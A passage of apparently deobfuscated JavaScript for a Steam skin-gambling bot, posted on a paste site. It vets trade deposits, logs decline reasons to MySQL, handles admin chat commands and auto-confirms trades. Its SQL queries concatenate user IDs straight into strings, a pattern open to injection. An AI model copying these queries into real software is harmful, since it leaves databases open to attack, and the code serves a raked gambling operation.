  715. exports.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + v2 + "game" + list + "` WHERE `userid`='" + onSuccess + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
  716. if (skinsin = dataAndEvents[0].skinsin, skinsin += value, moneyin = dataAndEvents[0].moneyin, moneyin += output, skinsin > number) {
  717. return me.decline(function(reply) {
  718. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: RECHECK - User sent too many skins");
  719. if (reply) {
  720. self.webLogOn();
  721. console.log("Decline error: " + reply);
  722. }
  723. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can not deposit more than " + number + " skins','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  724. });
  725. }
  726. if (moneyin > ret) {
  727. return me.decline(function(reply) {
  728. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: RECHECK - User sent too much in skin value");
  729. if (reply) {
  730. self.webLogOn();
  731. console.log("Decline error: " + reply);
  732. }
  733. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You can deposit more than $" + ret + "','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  734. });
  735. }
  736. /** @type {number} */
  737. var i = 0;
  738. for (;value > i;i++) {
  739. if (0 == data[i].value || !data[i].value) {
  740. return b = false, me.decline(function(reply) {
  741. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)");
  742. if (reply) {
  743. self.webLogOn();
  744. console.log("Decline error: " + reply);
  745. }
  746. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  747. });
  748. }
  749. if (!isNumber(data[i].value)) {
  750. return me.decline(function(reply) {
  751. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) ");
  752. if (reply) {
  753. self.webLogOn();
  754. console.log("Decline error: " + reply);
  755. }
  756. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  757. });
  758. }
  759. if (-1 != data[i].name.indexOf("Souvenir")) {
  760. return b = false, me.decline(function(reply) {
  761. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User sent a Souvenir Skin");
  762. if (reply) {
  763. self.webLogOn();
  764. console.log("Decline error: " + reply);
  765. }
  766. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  767. });
  768. }
  769. }
  770. exports.query("SELECT * FROM `users` WHERE `steamid`='" + onSuccess + "'", function(reply, newlines, dataAndEvents) {
  771. return reply ? (console.log("MYSQL Error: " + reply), me.decline(function(reply) {
  772. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: MYSQL Error (as seen above) ");
  773. if (reply) {
  774. self.webLogOn();
  775. console.log("Decline error: " + reply);
  776. }
  777. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: MYSQL Error','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  778. })) : 0 == newlines.length ? void me.decline(function(reply) {
  779. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User is not in the MYSQL Database");
  780. if (reply) {
  781. self.webLogOn();
  782. console.log("Decline error: " + reply);
  783. }
  784. }) : (ban = newlines[0].ban, tlink = newlines[0].tlink, 1 == ban ? (b = false, me.decline(function(reply) {
  785. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User is banned");
  786. if (reply) {
  787. self.webLogOn();
  788. console.log("Decline error: " + reply);
  789. }
  790. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: You are banned from betting','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  791. })) : tlink ? void exports.query("SELECT * FROM `" + v2 + "games` WHERE `id`='" + list + "'", function(deepDataAndEvents, dataAndEvents, ignoreMethodDoesntExist) {
  792. itemsin = dataAndEvents[0].itemsnum;
  793. callback(me, onSuccess, data, list, CB, serviceName, value, queue, win, itemsin);
  794. }) : (me.decline(function(reply) {
  795. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: User doesn't have a TradeLink set ");
  796. if (reply) {
  797. self.webLogOn();
  798. console.log("Decline error: " + reply);
  799. }
  800. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: No Trade URL Set','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  801. })));
  802. });
  803. });
  804. }) : (me.decline(function(reply) {
  805. console.log("[DEBUG] Declined offer #" + me.id + " from " + CB + " (ID:" + onSuccess + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues");
  806. if (reply) {
  807. self.webLogOn();
  808. console.log("Decline error: " + reply);
  809. }
  810. }), void exports.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + onSuccess + "','Trade Offer Declined!','Reason: Steam Issues','25','1')", function(dataAndEvents, deepDataAndEvents, ignoreMethodDoesntExist) {
  811. })) : void 0;
  812. }, 2E3);
  813. });
  814. });
  815. });
  816. });
  817. });
  818. });
  819. self.on("friendMessage#" + admin, function(dataAndEvents, b) {
  820. if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/sendrake") && (self.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), iterate(1)), 0 == b.indexOf("/sendoffers") && (self.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), query(1)), 0 == b.indexOf("/code")) {
  821. var err = SteamTotp.generateAuthCode(sharedsecret);
  822. self.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + err);
  823. }
  824. if (0 == b.indexOf("/cc")) {
  825. self.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check..");
  826. console.log("[SERVER] Performing a Mobile Confirmation Check..");
  827. community.checkConfirmations();
  828. }
  829. if (0 == b.indexOf("/poll")) {
  830. self.chatMessage(admin, "[SERVER] Checking for Tradeoffers..");
  831. console.log("[SERVER] Checking for Tradeoffers..");
  832. req.doPoll();
  833. }
  834. if (0 == b.indexOf("/loadprices")) {
  835. self.chatMessage(admin, "[SERVER] Refreshing Market API!");
  836. handler();
  837. }
  838. if (0 == b.indexOf("/end")) {
  839. self.chatMessage(admin, "[SERVER] Ending the current game!");
  840. if (-1 != tref) {
  841. clearTimeout(tref);
  842. }
  843. preload();
  844. }
  845. if (0 == b.indexOf("/offers")) {
  846. exports.query("SELECT ID FROM `" + v2 + "queue` WHERE `status`='active' GROUP BY `id` DESC", function(dataAndEvents, fmt, deepDataAndEvents) {
  847. if (0 != fmt.length) {
  848. console.log(fmt);
  849. self.chatMessage(admin, "[SERVER] Check your console for the ID's!");
  850. } else {
  851. self.chatMessage(admin, "[SERVER] There aren't any active queue ID's.");
  852. }
  853. });
  854. }
  855. if (0 == b.indexOf("/rakes")) {
  856. exports.query("SELECT ID FROM `" + v2 + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC", function(dataAndEvents, fmt, deepDataAndEvents) {
  857. if (0 != fmt.length) {
  858. console.log(fmt);
  859. self.chatMessage(admin, "[SERVER] Check your console for the ID's!");
  860. } else {
  861. self.chatMessage(admin, "[SERVER] There aren't any active rake ID's.");
  862. }
  863. });
  864. }
  865. });
  866. community.on("newConfirmation", function(d) {
  867. /** @type {number} */
  868. var camelKey = Math.round(Date.now() / 1E3);
  869. var data = SteamTotp.getConfirmationKey(identitysecret, camelKey, "allow");
  870. community.respondToConfirmation(d.id, d.key, camelKey, data, true, function(reply) {
  871. console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!");
  872. if (reply) {
  873. console.log("[SERVER] Confirmations error: " + reply);
  874. self.webLogOn();
  875. }
  876. });
  877. });
  878. community.on("confKeyNeeded", function(deepDataAndEvents, updateFunc) {
  879. console.log("confKeyNeeded");
  880. /** @type {number} */
  881. var progressContexts = Math.floor(Date.now() / 1E3);
  882. updateFunc(null, progressContexts, SteamTotp.getConfirmationKey(identitysecret, progressContexts, deepDataAndEvents));
  883. });
  884. setInterval(function() {
  885. exports.query("SELECT 1");
  886. }, 36E5);
  887. });
  888. module.exports = require("../bot.js");
  889. }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement